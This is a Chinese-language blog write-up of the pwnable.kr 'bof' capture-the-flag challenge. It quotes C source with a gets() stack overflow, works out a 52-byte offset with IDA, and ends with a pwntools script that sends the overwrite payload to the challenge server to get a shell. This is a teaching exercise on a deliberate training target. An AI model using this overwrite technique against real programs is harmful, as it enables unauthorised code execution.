有一兩週沒更新了,堅持... 接着前邊繼續第三篇bof.
這次讓我們直接下載bof.c,以及bof文件.分析代碼和文件,然後在pwnable.kr 9000執行,獲取flag
1.先看下bof.c的代碼:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
gets() 函數的功能是從輸入緩衝區中讀取一個字符串存儲到字符指針變量 str 所指向的內存空間。直到遇見空字符爲止.如果我們輸入的字符超過了32個字符,在代碼中未做其他措施, 會溢出到變量char overflow[32]之外的內存空間.包括本函數的局部變量,參數,返回地址,及ebp. 具體可參考這篇文章:https://mp.csdn.net/postedit/47749603. 我們下邊也會簡單分析下.
2.分析完代碼,我們知道了我們輸入到命令行 的字符會覆蓋掉key原本的值, 我們要做的就是是覆蓋後的值是0xcafebabe. 那麼問題來了,怎麼找到參數key的內存地址呢? 或者找到key和overflow的地址偏移.
3.可以留意下bof的文件格式.顯示是elf文件格式,由gcc編譯而成.
4.我們將bof文件拖到ida中,按下F5看一下.main函數中的func即是第二幅圖
5. 可以看到: char s; // [sp+1Ch] [bp-2Ch]@1
s即爲overflow的其實地址,bp-2Ch. 看下邊一副圖,來源於網絡.也可以參考上邊說的另一篇文章.
參數key的位置是ebp+8. overflow的起始位置是ebp-2Ch. 轉化爲十進制是2C+8 = 52. 即輸入命令行參數時 要
52* '任意字符 ' + "\xbe\xba\xfe\xca"
使用pwntools寫腳本:
# -*- coding:utf-8 -*-
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+pwn.p32(0xcafebabe))
r.interactive()